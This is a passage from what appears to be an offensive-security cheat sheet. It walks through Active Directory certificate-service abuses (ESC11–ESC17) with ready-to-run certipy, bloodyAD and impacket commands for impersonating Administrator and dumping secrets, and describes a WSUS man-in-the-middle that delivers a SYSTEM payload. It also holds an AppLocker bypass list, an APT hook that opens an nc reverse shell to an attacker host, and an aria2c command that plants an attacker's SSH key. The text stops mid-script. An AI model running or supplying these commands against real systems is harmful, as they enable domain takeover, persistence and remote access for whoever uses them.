$ certipy-ad account update -username '<USERNAME>@<DOMAIN>' -password '<PASSWORD>' -user '<USERNAME>' -upn 'Administrator@<DOMAIN>'
```

```console
$ certipy-ad req -ca '<CA>' -username '<USERNAME>@<DOMAIN>' -hashes '<HASH>'
```

```console
$ certipy-ad account update -username '<USERNAME>@<DOMAIN>' -password '<PASSWORD>' -user '<USERNAME>' -upn '<USERNAME>@<DOMAIN>'
```

```console
$ certipy-ad auth -pfx Administrator.pfx -domain '<DOMAIN>'
```

##### Case 2

```console
$ certipy-ad shadow auto -username '<USERNAME>@<DOMAIN>' -password '<PASSWORD>' -account '<USERNAME>'
```

```console
$ certipy-ad account update -username '<USERNAME>@<DOMAIN>' -password '<PASSWORD>' -user '<USERNAME>' -upn '<RHOST>@<DOMAIN>'
```

```console
$ certipy-ad req -ca 'CA' -username '<USERNAME>@<DOMAIN>' -password -hashes '<HASH>'
```

```console
$ certipy-ad account update -username '<USERNAME>@<DOMAIN>' -password '<PASSWORD>' -user '<USERNAME>' -upn '<USERNAME>@<DOMAIN>'
```

```console
$ certipy-ad auth -pfx dc.pfx -dc-ip '<RHOST>' -ldap-shell
```

### ESC11: IF_ENFORCEENCRYPTICERTREQUEST

#### Prerequisistes

- Certificate Authority is not configured with `IF_ENFORCEENCRYPTICERTREQUEST`

#### Usage

```console
$ certipy-ad relay -target 'rpc://<CA>' -ca 'CA'
```

```console
$ certipy-ad auth -pfx administrator.pfx -domain '<DOMAIN>'
```

### ESC12: YubiHSM2 Vulnerability (Specific Context)

#### Prerequisistes

- The `CA` uses a `YubiHSM2` for `storing` and `managing` its `private signing keys`
- At least a `low-privileged` (non-administrative) `shell access` on this `CA server`
- Specific `vulnerability` or `weakness` exists in the `YubiHSM2's on-host software components` that grants the ability to interact with or control `HSM operations`

#### Usage

```console
$ certipy-ad forge -ca-pfx '<CA>.pfx' -upn 'Administrator@<DOMAIN>' -sid 'S-1-5-21-...-500' -crl 'ldap:///'
```

### ESC13: Issuance Policy with Privileged Group Linked

> https://posts.specterops.io/adcs-esc13-abuse-technique-fda4272fbd53

> https://github.com/JonasBK/Powershell/blob/master/Check-ADCSESC13.ps1?source=post_page-----fda4272fbd53--------------------------------

#### Prerequisites

- `Certificate template` specifies one or more `Issuance Policy OIDs` in its configuration
- In Active Directory's Configuration Naming Context (typically under `CN=OID,CN=Public Key Services,CN=Services,CN=Configuration,DC=...`), an `OID object` corresponding to the one in the certificate template can have its `msDS-OIDToGroupLink` attribute populated with the `distinguished name` (`DN`) of an `AD security group`
- `Authentication` using a `certificate` containing such an `Issuance Policy OID` so that the KDC can read this `OID` from the `certificate`
- `Group` linked (`msDS-OIDToGroupLink`) to the `OID`

#### Verification

```powershell
<#
Prints OIDs and certificate templates that may be used in an ADCS ESC13 abuse

The script will check for:
1. OIDs with non-default ownership
2. OIDs with non-default ACE
3. OIDs linked to a group
4. Certificate templates configured with OID linked to a group
#>

Import-Module ActiveDirectory

# Get OIDs and certificate templates with msPKI-Certificate-Policy
$ADRootDSE = Get-ADRootDSE
$ConfigurationNC = $ADRootDSE.configurationNamingContext
$OIDContainer = "CN=OID,CN=Public Key Services,CN=Services,$ConfigurationNC"
$TemplateContainer = "CN=Certificate Templates,CN=Public Key Services,CN=Services,$ConfigurationNC"
$OIDs = Get-ADObject -Filter * -SearchBase $OIDContainer -Properties DisplayName,Name,msPKI-Cert-Template-OID,msDS-OIDToGroupLink,nTSecurityDescriptor
$Templates = Get-ADObject -Filter * -SearchBase $TemplateContainer -Properties msPKI-Certificate-Policy | ? {$_."msPKI-Certificate-Policy"} | select name,msPKI-Certificate-Policy

if ($OIDs) {

    Write-Host "Enumerating OIDs"
    Write-Host "------------------------"

    # Iterate through each OID
    foreach ($OID in $OIDs) {

        if ($OID."msDS-OIDToGroupLink") {
            Write-Host "OID $($OID.Name) links to group: $($OID."msDS-OIDToGroupLink")`r`n"
            Write-Host "OID DisplayName: $($OID."msPKI-Cert-Template-OID")"
            Write-Host "OID DistinguishedName: $($OID."DistinguishedName")"
            Write-Host "OID msPKI-Cert-Template-OID: $($OID."msPKI-Cert-Template-OID")"
            Write-Host "OID msDS-OIDToGroupLink: $($OID."msDS-OIDToGroupLink")"
            Write-Host "------------------------"
        }

        if ($OID.nTSecurityDescriptor.Owner -notlike "*\Enterprise Admins") {
            Write-Host "OID $($OID.Name) has non-default owner: $($OID.nTSecurityDescriptor.Owner)`r`n"
            Write-Host "OID DisplayName: $($OID."msPKI-Cert-Template-OID")"
            Write-Host "OID DistinguishedName: $($OID."DistinguishedName")"
            Write-Host "OID msPKI-Cert-Template-OID: $($OID."msPKI-Cert-Template-OID")"
            Write-Host "------------------------"        
        }

        $ACEs = $OID.nTSecurityDescriptor.Access
        foreach ($ACE in $ACEs) {
            if ($ACE.IdentityReference -like "*\Domain Admins" -or $ACE.IdentityReference -like "*\Enterprise Admins" -or $ACE.IdentityReference -like "*\SYSTEM") {
                continue
            } elseif ($ACE.IdentityReference -like "*\Authenticated Users" -and $ACE.ActiveDirectoryRights -eq "GenericRead") {
                continue
            } else {
                Write-Host "OID $($OID.Name) has non-default ACE:"
                Write-Output $ACE
                Write-Host "OID DisplayName: $($OID."msPKI-Cert-Template-OID")"
                Write-Host "OID DistinguishedName: $($OID."DistinguishedName")"
                Write-Host "OID msPKI-Cert-Template-OID: $($OID."msPKI-Cert-Template-OID")"
                Write-Host "------------------------"        
            }
        }
    }

    Write-Host "Enumerating certificate templates"
    Write-Host "------------------------"

    # Iterate through each template
    foreach ($Template in $Templates) {

        # Check if the Template OID matches any OID in the list
        $MatchingOID = $OIDs | ? { $_."msDS-OIDToGroupLink" -and $Template."msPKI-Certificate-Policy" -contains $_."msPKI-Cert-Template-OID" }

        if ($MatchingOID) {
            Write-Host "Certificate template $($Template.Name) may be used to obtain membership of $($MatchingOID."msDS-OIDToGroupLink")`r`n"
            Write-Host "Certificate template Name: $($Template.Name)"
            Write-Host "OID DisplayName: $($MatchingOID."msPKI-Cert-Template-OID")"
            Write-Host "OID DistinguishedName: $($MatchingOID."DistinguishedName")"
            Write-Host "OID msPKI-Cert-Template-OID: $($MatchingOID."msPKI-Cert-Template-OID")"
            Write-Host "OID msDS-OIDToGroupLink: $($MatchingOID."msDS-OIDToGroupLink")"
            Write-Host "------------------------"
        }
    }
    Write-Host "Done"
} else {
    Write-Host "Error: No OIDs were found."
}
```

#### Usage

```console
$ certipy-ad req -u '<USER>@<DOMAIN>' -p '<PASSWORD>' -dc-ip '<RHOST>' -target '<CA>' -ca '<CA>' -template 'SecureAdminsAuthentication'
```

```console
$ certipy-ad auth -pfx '<FILE>.pfx' -dc-ip '<RHOST>'
```

```console
$ export KRB5CCNAME=<USERNAME>.ccache
```

```console
$ impacket-secretsdump -just-dc-user '<RHOST>$' '<DOMAIN>/<USERNAME>@<DOMAIN>' -dc-ip '<RHOST>' -target-ip '<RHOST>' -k -no-pass
```

### ESC14: Weak Explicit Certificate Mapping

> https://posts.specterops.io/adcs-esc14-abuse-technique-333a004dc2b9

> https://mayfly277.github.io/posts/ADCS-part14/

> https://www.thehacker.recipes/ad/movement/adcs/certificate-templates

> https://github.com/ly4k/Certipy/pull/255

> https://github.com/Deloitte-OffSecResearch/Certipy

#### Scenarios

- ESC14 Scenario A: Write altSecurityIdentities on Target
- ESC14 Scenario B: Target with X509RFC822 (email)
- ESC14 Scenario C: Target with X509IssuerSubject
- ESC14 Scenario D: Target with X509SubjectOnly

#### Prerequisistes

> https://github.com/JonasBK/ESC14/blob/main/ESC14-Table.xlsx

- The certificate template grants enrollment rights to the victim principal
- The certificate template has no issuance requirements the victim principal cannot meet
- The certificate template defines EKUs that enable client authentication
- If the certificate template has `CT_FLAG_SUBJECT_ALT_REQUIRE_UPN` or `CT_FLAG_SUBJECT_ALT_REQUIRE_SPN` in its `msPKI-Certificate-Name-Flag` attribute:
	- The KDC reg key value `UseSubjectAltName` must be set to `"0"`
	- The authentication can only be performed over PKINIT
- If the certificate template has `CT_FLAG_SUBJECT_ALT_REQUIRE_DNS` or `CT_FLAG_SUBJECT_ALT_REQUIRE_DOMAIN_DNS` in its `msPKI-Certificate-Name-Flag` attribute:
	- The victim principal must be a computer
	- The authentication can only be performed over PKINIT
- If the certificate template has `CT_FLAG_SUBJECT_ALT_REQUIRE_EMAIL` or `CT_FLAG_SUBJECT_REQUIRE_EMAIL` in its `msPKI-Certificate-Name-Flag attribute`, then at least one of these requirements must be met:
	- The certificate template is of schema version 1
	- The victim principal has their mail attribute set
	- The attacker has write access to the mail attribute of the victim

Furthermore, assuming that the principal has Enroll permission on an Enterprise CA, that meets the following requirements:

- The Enterprise CA is trusted for NT authentication
- The Enterprise CA’s certificate chain is trusted
- The Enterprise CA has the certificate template published

##### Scenario A: Write altSecurityIdentities on Target

**Target Principal Requirements**

The attacker has write access to the target's altSecurityIdentities attribute or the permission to grant it in the form of one of the following permissions on the target AD object:
- Write property altSecurityIdentities
- Write property Public-Information
- Write property (all)
- WriteDACL
- WriteOwner*
- GenericWrite
- GenericAll
- Owner*

\*Assuming the target is not a computer or Blocking Implicit Owner Rights has not been configured.

**Authentication Requirements**

PKINIT:

- No requirements

Schannel:

- DC Schannel reg key `CertificateMappingMethods` contains `S4U2Self` (`0x000000008`) flag (default)

**Attack Steps**

1. Enroll a certificate in the affected certificate template as the victim principal
2. Add a (strong) explicit certificate mapping based on the certificate in the `altSecurityIdentities` attribute of the target principal
3. Authenticate as the target principal using the certificate

##### Scenario B: Target with X509RFC822 (email)

**Target Principal Requirements**

- The target principal is a user
- The target principal's `altSecurityIdentities` attribute contains at least one `X509RFC822` mapping

**Victim Principal Requirements**

- The attacker has write access to the mail attribute of the victim principal

**Additional Certificate Template Requirements**

- The certificate template has the `CT_FLAG_NO_SECURITY_EXTENSION` flag in its `msPKI-Enrollment-Flag` attribute (not present by default)
- The certificate template has the `CT_FLAG_SUBJECT_ALT_REQUIRE_EMAIL` flag in its `msPKI-Certificate-Name-Flag` attribute

**Authentication Requirements**

PKINIT:

- DC KDC reg key `StrongCertificateBindingEnforcement` is set to `0`/`1` (compatibility mode — default until February 11, 2025)

Schannel (both):

- DC Schannel reg key `CertificateMappingMethods` contains `S4U2Self` (`0x000000008`) flag (default)
- DC KDC reg key `StrongCertificateBindingEnforcement` is set to `0`/`1` (compatibility mode — default until February 11, 2025)

**Attack Steps**

1. Set the `mail` attribute of the victim principal to the email of the target's `X509RFC822` mapping
2. Enroll a certificate in the affected certificate template as the victim principal
3. Use the certificate to authenticate as the target principal

##### Scenario C: Target with X509IssuerSubject

**Target Principal Requirements**

- The target principal's `altSecurityIdentities` attribute contains at least one `X509IssuerSubject` mapping

**Victim Principal Requirements**

- If the victim principal is a user:
	- The attacker has write access to the `cn` and `name` attributes of the victim principal (to change the `cn` you also need write access to the `name` attribute)
	- If the target principal is a user and the `X509IssuerSubject` mapping has the target’s current `cn` attribute value as an identifier, then the victim and target principal cannot be in the same container (the DC will not allow you to set the `cn` of the victim to the `cn` of the target if they are in the same container as that will mean they would have the same `distinguishedName`)
- If the victim principal is a computer:
	- The attacker has write access to the `dNSHostName` attribute of the victim principal

**Additional Certificate Template Requirements**

- The certificate template has the `CT_FLAG_NO_SECURITY_EXTENSION` flag in its `msPKI-Enrollment-Flag` attribute (not present by default)
	- Unless authentication is performed over Schannel and the DC Schannel reg key `CertificateMappingMethods` contains `Subject`/`Issuer` (`0x000000001`) flag.

- The certificate template has one of the flags in its `msPKI-Certificate-Name-Flag` attribute:
	- `CT_FLAG_SUBJECT_REQUIRE_COMMON_NAME`
	- `CT_FLAG_SUBJECT_REQUIRE_DNS_AS_CN`

- The certificate template does not have any of the flags in its `msPKI-Certificate-Name-Flag` attribute:
	- `CT_FLAG_SUBJECT_REQUIRE_DIRECTORY_PATH`
	- `CT_FLAG_SUBJECT_REQUIRE_EMAIL`

**Additional Enterprise CA Requirements**

- The Enterprise CA is the issuer referenced by the `IssuerName` in the target's `X509IssuerSubject` mapping

**Authentication Requirements**

PKINIT:

- DC KDC reg key `StrongCertificateBindingEnforcement` is set to `0`/`1` (compatibility mode — default until February 11, 2025)

Schannel:

- Either:
	- DC Schannel reg key `CertificateMappingMethods` contains `S4U2Self` (`0x000000008`) flag (default)
    - DC KDC reg key `StrongCertificateBindingEnforcement` is set to `0`/`1` (compatibility mode — default until February 11, 2025)
    Or:
    - DC Schannel reg key `CertificateMappingMethods` contains `Subject`/`Issuer` (`0x000000001`) flag (not default)

**Attack Steps**

1. If the victim principal is a user:
	- Rename the victim principal (i.e., set the `cn` and name attribute) to the name of the target’s `X509IssuerSubject` mapping `SubjectName` identifier
2. If the victim principal is a computer:
	- Set the `dNSHostName` of the victim principal to the name of the target's `X509IssuerSubject` mapping `SubjectName` identifier
3. Enroll a certificate in the affected certificate template as the victim principal using the Enterprise CA referenced in the `X509IssuerSubject` mapping
4. Authenticate as the target principal using the certificate


##### Scenario D: Target with X509SubjectOnly

**Target Principal Requirements**

- The target principal's `altSecurityIdentities` attribute contains at least one `X509SubjectOnly` mapping

**Victim Principal Requirements**

- If the victim principal is a user:
	- The attacker has write access to the `cn` and `name` attributes of the victim principal (to change the 'cn' you also need write access to the `name` attribute)
	- If the target principal is a user and the `X509SubjectOnly` mapping has the target's current `cn` attribute value as an identifier, then the victim and target principal cannot be in the same container (the DC will not allow you to set the `cn` of the victim to the `cn` of the target if they are in the same container as that will mean they would have the same `distinguishedName`)
- If the victim principal is a computer:
	- The attacker has write access to the `dNSHostName` attribute of the victim principal

**Additional Certificate Template Requirements**

- The certificate template has the `CT_FLAG_NO_SECURITY_EXTENSION` flag in its `msPKI-Enrollment-Flag` attribute (not present by default)
- The certificate template has one of the flags in its `msPKI-Certificate-Name-Flag` attribute:
	- `CT_FLAG_SUBJECT_REQUIRE_COMMON_NAME`
	- `CT_FLAG_SUBJECT_REQUIRE_DNS_AS_CN`
- The certificate template does not have any of the flags in its `msPKI-Certificate-Name-Flag` attribute:
	- `CT_FLAG_SUBJECT_REQUIRE_DIRECTORY_PATH`
	- `CT_FLAG_SUBJECT_REQUIRE_EMAIL`

**Authentication Requirements**

PKINIT:

- DC KDC reg key `StrongCertificateBindingEnforcement` is set to `0`/`1` (compatibility mode — default until February 11, 2025)

Schannel (both):

- DC Schannel reg key `CertificateMappingMethods` contains `S4U2Self` (`0x000000008`) flag (default)
- DC KDC reg key `StrongCertificateBindingEnforcement` is set to `0`/`1` (compatibility mode — default until February 11, 2025)

**Attack Steps**

1. If the victim principal is a user:
- Rename the victim principal (i.e., set the `cn` and `name` attribute) to the name of the target's `X509SubjectOnly` mapping `SubjectName` identifier
2. If the victim principal is a computer:
Set the `dNSHostName` attribute of the victim principal to the name of the target's `X509SubjectOnly` mapping `SubjectName` identifier
3. Enroll a certificate in the affected certificate template as the victim principal
4. Authenticate as the target principal using the certificate

#### Usage

##### Scenario B: Target with X509RFC822 (email)

```console
$ python3 entry.py find -u '<USERNAME>@<DOMAIN>' -hashes ':<HASH>' -dc-ip <RHOST> -esc14 -vulnerable -stdout -debug
```

```powershell
PS C:\> Set-ADUser -Identity <USERNAME> -Add @{'altSecurityIdentities'='X509:<RFC822>foobar@domain.local'}
```

```console
$ bloodyAD --host <RHOST> -d <DOMAIN> -u <USERNAME> -p <PASSWORD> set object <USERNAME> mail -v foobar@domain.local
```

```console
$ certipy-ad req -ca '<CA>' -username '<USERNAME>@<DOMAIN>' -hashes '<HASH>' -template '<TEMPLATE>'
```

```console
$ certipy-ad auth -pfx <FILE>.pfx -domain '<DOMAIN>' -username '<USERNAME>'
```

### ESC15: Arbitrary Application Policy Injection in V1 Templates (CVE-2024-49019 "EKUwu")

#### Prerequisites

- Unpatched `CA` missing relevant `security patches` (`November 2024`)
- Primarily affect `Version 1` templates that also have the "`Enrollee supplies subject`" (`CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT`) setting enabled

#### Usage

##### Scenario A: Direct Impersonation via Schannel (Injecting "Client Authentication" Application Policy)

```console
$ certipy-ad req -u '<USERNAME>@<DOMAIN>' -p '<PASSWORD>' -dc-ip '<RHOST>' -target '<RHOST>' -ca '<CA>' -template 'WebServer' -upn 'Administrator@<DOMAIN>' -sid 'S-1-5-21-...-500' -application-policies 'Client Authentication'
```

```console
$ certipy-ad auth -pfx 'Administrator.pfx' -dc-ip '<RHOST>' -ldap-shell
```

##### Scenario B: PKINIT/Kerberos Impersonation via Enrollment Agent Abuse (Injecting "Certificate Request Agent" Application Policy)

```console
$ certipy-ad req -u '<USERNAME>@<DOMAIN>' -p '<PASSWORD>' -dc-ip '<RHOST>' -target '<RHOST>' -ca '<CA>' -template 'WebServer' -application-policies 'Certificate Request Agent'
```

```console
$ certipy-ad req -u '<USERNAME>@<DOMAIN>' -p '<PASSWORD>' -dc-ip '<RHOST>' -target '<RHOST>' -ca '<CA>' -template 'User' -pfx '<FILE>.pfx' -on-behalf-of '<DOMAIN>\Administrator'
```

```console
$ certipy-ad auth -pfx 'Administrator.pfx' -dc-ip '<RHOST>'
```

### ESC16: Security Extension Disabled on CA (Globally)

#### Prerequisites

##### Scenario A: With UPN Manipulation (in Compatibility Mode - StrongCertificateBindingEnforcement = 1 or 0)

- Gobal configuration to disable `szOID_NTDS_CA_SECURITY_EXT` (`OID: 1.3.6.1.4.1.311.25.2`) security extension in all certificate issues
- Changeable account's `UPN` to match a target privileged account's `sAMAccountName`

##### Scenario B: Combined with ESC6 (CA allows SAN specification via request attributes)

- Unpatched `CA` missing relevant `security patches` (`May 2025 (KB5014754)`) or subsequent cumulative updates that include it

#### Usage

##### Scenario A: With UPN Manipulation (in Compatibility Mode - StrongCertificateBindingEnforcement = 1 or 0)

```console
$ certipy-ad account -u '<USERNAME>@<DOMAIN>' -hashes '<HASH>' -dc-ip '<RHOST>' -user '<USERNAME>' read
```

```console
$ certipy-ad account -u '<USERNAME>@<DOMAIN>' -hashes '<HASH>' -dc-ip '<RHOST>' -upn 'Administrator' -user '<USERNAME>' update
```

```console
$ certipy-ad shadow -u '<USERNAME>@<DOMAIN>' -hashes '<HASH>' -dc-ip '<RHOST>' -account '<USERNAME>' auto
```

```console
$ export KRB5CCNAME=<USERNAME>.ccache
```

```console
$ certipy-ad req -k -dc-ip '<RHOST>' -target '<RHOST>' -ca '<CA>' -template 'User'
```

Revert the `UPN` to the original `user`.

```console
$ certipy-ad account -u '<USERNAME>@<DOMAIN>' -hashes '<HASH>' -dc-ip '<RHOST>' -upn 'Administrator' -user '<USERNAME>' update
```

```console
$ certipy-ad auth -pfx 'Administrator.pfx' -username '<USERNAME>' -domain '<DOMAIN>' -dc-ip '<RHOST>'
```

##### Scenario B: Combined with ESC6 (CA allows SAN specification via request attributes)

```console
$ certipy-ad account -u '<USERNAME>@<DOMAIN>' -hashes '<HASH>' -dc-ip '<RHOST>' -user '<USERNAME>' read
```

```console
$ certipy-ad account -u '<USERNAME>@<DOMAIN>' -hashes '<HASH>' -dc-ip '<RHOST>' -upn '<USERNAME>' -user '<USERNAME>' update
```

```console
$ certipy-ad req -u '<USERNAME>@<DOMAIN>' -hashes '<HASH>' -dc-ip '<RHOST>' -target '<RHOST>' -ca '<CA>' -template 'User' -upn 'Administrator@<DOMAIN>' -sid 'S-1-5-21-...-500'
```

Revert the `UPN` to the original `user`.

```console
$ certipy-ad account -u '<USERNAME>@<DOMAIN>' -hashes '<HASH>' -dc-ip '<RHOST>' -upn '<USERNAME>' -user '<USERNAME>' update
```

```console
$ certipy-ad auth -pfx 'Administrator.pfx' -username '<USERNAME>' -domain '<DOMAIN>' -dc-ip '<RHOST>'
```

#### ESC16 + ESC6

##### ESC16: Security Extension Disabled on CA (Globally)

```cmd
PS C:\> $CA.SetConfigEntry($Config, "PolicyModules\CertificateAuthority_MicrosoftDefault.Policy", "DisableExtensionList", "1.3.6.1.4.1.311.25.2")
```

```cmd
PS C:\> certutil -config "<RHOST>\<CA>" -getreg policy\DisableExtensionList
```

```cmd
PS C:\> Restart-Service CertSvc
```

##### ESC6: CA allows SAN specification via request attributes

```cmd
PS C:\> $CA = New-Object -ComObject CertificateAuthority.Admin;$Config = "<RHOST>\<CA>";$newFlags = 0x11014e -bor 0x40000;$CA.SetConfigEntry($Config, "PolicyModules\CertificateAuthority_MicrosoftDefault.Policy", "EditFlags", $newFlags)
```

```cmd
PS C:\> Restart-Service CertSvc
```

```console
$ certipy-ad req -u '<USERNAME>' -p '<PASSWORD>' -dc-ip <RHOST> -ca '<CA>' -template 'User' -upn 'Administrator@<DOMAIN>' -sid 'S-1-5-21-858338346-3861030516-3975240472-500'
```

```console
$ certipy-ad auth -pfx 'Administrator.pfx' -dc-ip <RHOST>
```

### ESC17: Server Authentication Template Abuse

> https://trustedsec.com/blog/wsus-is-sus-ntlm-relay-attacks-in-plain-sight

> https://blog.digitrace.de/2026/01/using-adcs-to-attack-https-enabled-wsus-clients/

> https://mustafanafizdurukan.github.io/posts/esc17-wsus-dns-abuse/

#### Prerequisites

- `CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT` is set — requester controls the `SAN` (DNS name)
- `EKU` is set to `Server Authentication` (`OID: 1.3.6.1.5.5.7.3.1`)
- Permissive enrollment rights granted to `Domain Users` or `Authenticated Users`
- Manager approval is disabled — certificates are issued automatically
- Incomplete mitigation of `ESC1` — switching the EKU from `Client Authentication` to `Server Authentication` without disabling `Enrollee Supplies Subject` introduces `ESC17`

#### Usage

##### Enumeration

```console
$ certipy-ad find -username '<USERNAME>@<DOMAIN>' -password '<PASSWORD>' -dc-ip <RHOST> -vulnerable -stdout
```

```powershell
PS C:\> Invoke-Locksmith -Scan ESC17
```

##### Step 1: Discover WSUS Server

```console
$ wsuks -u '<USERNAME>' -p '<PASSWORD>' -d '<DOMAIN>' --dc-ip <RHOST> --only-discover
```

##### Step 2: Request TLS Certificate for WSUS FQDN

```console
$ certipy-ad req -dc-ip <RHOST> -u '<USERNAME>@<DOMAIN>' -p '<PASSWORD>' -template '<TEMPLATE>' -target '<CA>' -ca '<CA>' -dns <RHOST>
```

```console
$ openssl pkcs12 -in <FILE>.pfx -out <FILE>.pem -nodes --passin pass:
```

##### Step 3: DNS Redirection via BloodyAD

```console
$ bloodyAD -d <DOMAIN> -u '<USERNAME>' -p '<PASSWORD>' --host <HOSTNAME> --dc-ip <RHOST> add dnsRecord <RHOST> <LHOST>
```

```console
$ bloodyAD -d <DOMAIN> -u '<USERNAME>' -p '<PASSWORD>' --host <RHOST> --dc-ip <RHOST> get dnsDump | grep <RHOST>
```

```console
$ nslookup <RHOST> <RHOST>
```

##### Step 4: WSUS MitM with Valid TLS Certificate

```console
$ sudo wsuks -u '<USERNAME>' -p '<PASSWORD>' -d '<DOMAIN>' --dc-ip <RHOST> -t <RHOST> --WSUS-Server <RHOST> --tls-cert <FILE>.pem
```

`wsuks` intercepts the victim's WSUS update request, presents the `ESC17`-issued TLS certificate trusted by all domain-joined clients, and injects a `PsExec64` payload executed as `SYSTEM` that adds the attacker's user to the local `Administrators` group.

##### Step 5: Verify Access

```console
$ nxc smb <RHOST> -u '<USERNAME>' -p '<PASSWORD>' --local-auth
```

##### Cleanup

```console
$ bloodyAD -d <DOMAIN> -u '<USERNAME>' -p '<PASSWORD>' --host <HOSTNAME> --dc-ip <RHOST> remove dnsRecord <RHOST> <LHOST>
```

### Error Handling

#### Fixing Username or domain is not specified, and identity information was not found in the certificate Error

```console
$ certipy-ad auth -pfx 'Administrator.pfx' -username 'Administrator' -domain '<DOMAIN>' -dc-ip '<RHOST>'
```

#### Fixing Object SID mismatch between certificate and user 'Administrator' Error

```console
$ impacket-lookupsid <DOMAIN>/<USERNAME>:<PASSWORD>@<RHOST>
```

```console
$ certipy-ad req -u '<USERNAME>@<DOMAIN>' -p '<PASSWORD>' -ca '<CA>' -template '<TEMPLATE>' -upn 'Administrator@<DOMAIN>' -sid 'S-1-5-21-2983547755-698260136-4283918172-500'
```

#### Fixing Got error while requesting certificate: code: 0x80094811 - CERTSRV_E_KEY_LENGTH - The public key does not meet the minimum size required by the specified certificate template Error

```console
$ certipy-ad req -u '<USERNAME>@<DOMAIN>' -p '<PASSWORD>' -ca '<CA>' -template '<TEMPLATE>' -upn 'Administrator@<DOMAIN>' -key-size '4096'
```

## ADMiner

> https://github.com/Mazars-Tech/AD_Miner

### Installation

```console
$ pipx install 'git+https://github.com/Mazars-Tech/AD_Miner.git'
```

### Basic Commands

```console
$ AD-miner -u <USERNAME> -p <PASSWORD> -cf <NAME>
```

## Aliasr

> https://github.com/Mojo8898/aliasr

### Installation

```console
$ uv tool install aliasr
```

### Prerequisites

```console
$ sysctl -w dev.tty.legacy_tiocsti=1
```

### Usage

```console
$ aliasr
```

## Apache2

### Read first Line of a File with apache2 Binary

```console
$ sudo /usr/sbin/apache2 -f <FILE>
```

## AppLocker

> https://github.com/api0cradle/UltimateAppLockerByPassList

### Bypass List (Windows 10 Build 1803)

```console
C:\Windows\Tasks
C:\Windows\Temp
C:\Windows\tracing
C:\Windows\Registration\CRMLog
C:\Windows\System32\FxsTmp
C:\Windows\System32\com\dmp
C:\Windows\System32\Microsoft\Crypto\RSA\MachineKeys
C:\Windows\System32\spool\PRINTERS
C:\Windows\System32\spool\SERVERS
C:\Windows\System32\spool\drivers\color
C:\Windows\System32\Tasks\Microsoft\Windows\SyncCenter
C:\Windows\System32\Tasks_Migrated (after peforming a version upgrade of Windows 10)
C:\Windows\SysWOW64\FxsTmp
C:\Windows\SysWOW64\com\dmp
C:\Windows\SysWOW64\Tasks\Microsoft\Windows\SyncCenter
C:\Windows\SysWOW64\Tasks\Microsoft\Windows\PLA\System
```

## APT

```console
$ echo 'apt::Update::Pre-Invoke {"rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <LHOST> <LPORT> >/tmp/f"};' > /etc/apt/apt.conf.d/<FILE>
```

## arua2c

```console
$ aria2c -d /root/.ssh/ -o authorized_keys "http://<LHOST>/authorized_keys" --allow-overwrite=true
```

## BadSuccessor

> https://github.com/akamai/BadSuccessor

### Windows Exploitation

#### Get-BadSuccessorOUPermissions.ps1

```cmd
function Get-BadSuccessorOUPermissions {
    <#
    .SYNOPSIS
        Lists every principal that can perform a BadSuccessor attack and the OUs where it holds the required permissions.

    .DESCRIPTION
        Scans all Organizational Units (OUs) for Access Control Entries (ACEs) granting permissions that could allow creation of a delegated Managed Service Account (dMSA),
        enabling a potential BadSuccessor privilege escalation attack.

        Built-in privileged identities (e.g., Domain Admins, Administrators, SYSTEM, Enterprise Admins) are excluded from results. 
        This script does not evaluate DENY ACEs and therefore, some false positives may occur.

        Note: We do not expand group membership and the permissions list used may not be exhaustive. Indirect rights such as WriteDACL on the OU are considered.
    #>

    [CmdletBinding()]
    param ()

    # Cache for IsExcludedSID to reduce network calls
    $SidCache = @{}

    function Test-IsExcludedSID {
        Param ([string]$IdentityReference)

        if ($SidCache.ContainsKey($IdentityReference)) {
            return $SidCache[$IdentityReference]      # instant hit
        }

        try {
            if ($IdentityReference -match '^S-\d-\d+(-\d+)+$') {
                $sid = $IdentityReference
            } else {
                $sid = (New-Object System.Security.Principal.NTAccount($IdentityReference)).Translate([System.Security.Principal.SecurityIdentifier]).Value
            }
        } catch {
            Write-Verbose "Failed to translate $IdentityReference to SID: $_"
            $SidCache[$IdentityReference] = $false
            return $false
        }
        
        # Check excluded SID list and Enterprise Admins (RID 519)
        if (($sid -and ($excludedSids -contains $sid -or $sid.EndsWith("-519")))) {
            return $true
        }

        $isExcluded = ($sid -and ($excludedSids -contains $sid -or $sid.EndsWith('-519')))
        $SidCache[$IdentityReference] = $isExcluded   # remember result
        return $isExcluded
    }
    
    $domainSID = (Get-ADDomain).DomainSID.Value
    $excludedSids = @(
        "$domainSID-512",       # Domain Admins
        "S-1-5-32-544",         # Builtin Administrators
        "S-1-5-18"              # Local SYSTEM
    )    

    # Setup the specific rights we look for, and on which kind of objects - add more attributes' guids as needed
    $relevantObjectTypes = @{"00000000-0000-0000-0000-000000000000"="All Objects";
                             "0feb936f-47b3-49f2-9386-1dedc2c23765"="msDS-DelegatedManagedServiceAccount";}

    # This could be modified to also get objects with indirect access, for example: $relevantRights = "CreateChild|WriteDACL"
    $relevantRights = "CreateChild|GenericAll|WriteDACL|WriteOwner"

    # This will hold the output - every principal that has the required permissions and is not excluded, and on which OUs
    $allowedIdentities = @{}

    $allOUs = Get-ADOrganizationalUnit -Filter * -Properties ntSecurityDescriptor | Select-Object DistinguishedName, ntSecurityDescriptor

    foreach ($ou in $allOUs) {     
        foreach ($ace in $ou.ntSecurityDescriptor.Access) {
            if ($ace.AccessControlType -ne "Allow") {
                continue
            }
            if ($ace.ActiveDirectoryRights -notmatch $relevantRights) {
                continue
            }
            if (-not $relevantObjectTypes.ContainsKey($ace.ObjectType.Guid)) {
                continue
            }            

            $identity = $ace.IdentityReference.Value
            if (Test-IsExcludedSID $identity) { 
                continue 
            }

            if (-not $allowedIdentities.ContainsKey($identity)) {
                $allowedIdentities[$identity] = [System.Collections.Generic.List[string]]::new()
            }
            $allowedIdentities[$identity].Add($ou.DistinguishedName)
        }

        # Check the owner
        $owner = $ou.ntSecurityDescriptor.Owner

        if (-not (Test-IsExcludedSID $owner)) {
            if (-not $allowedIdentities.ContainsKey($owner)) {
                $allowedIdentities[$owner] = [System.Collections.Generic.List[string]]::new()
            }
            $allowedIdentities[$owner].Add($ou.DistinguishedName)
        }
    }

    foreach ($id in $allowedIdentities.Keys) {
        [PSCustomObject]@{
            Identity = $id
            OUs      = $allowedIdentities[$id].ToArray()
        }
    }
}

# Auto-run if script is executed directly
if ($MyInvocation.InvocationName -ne '.') {
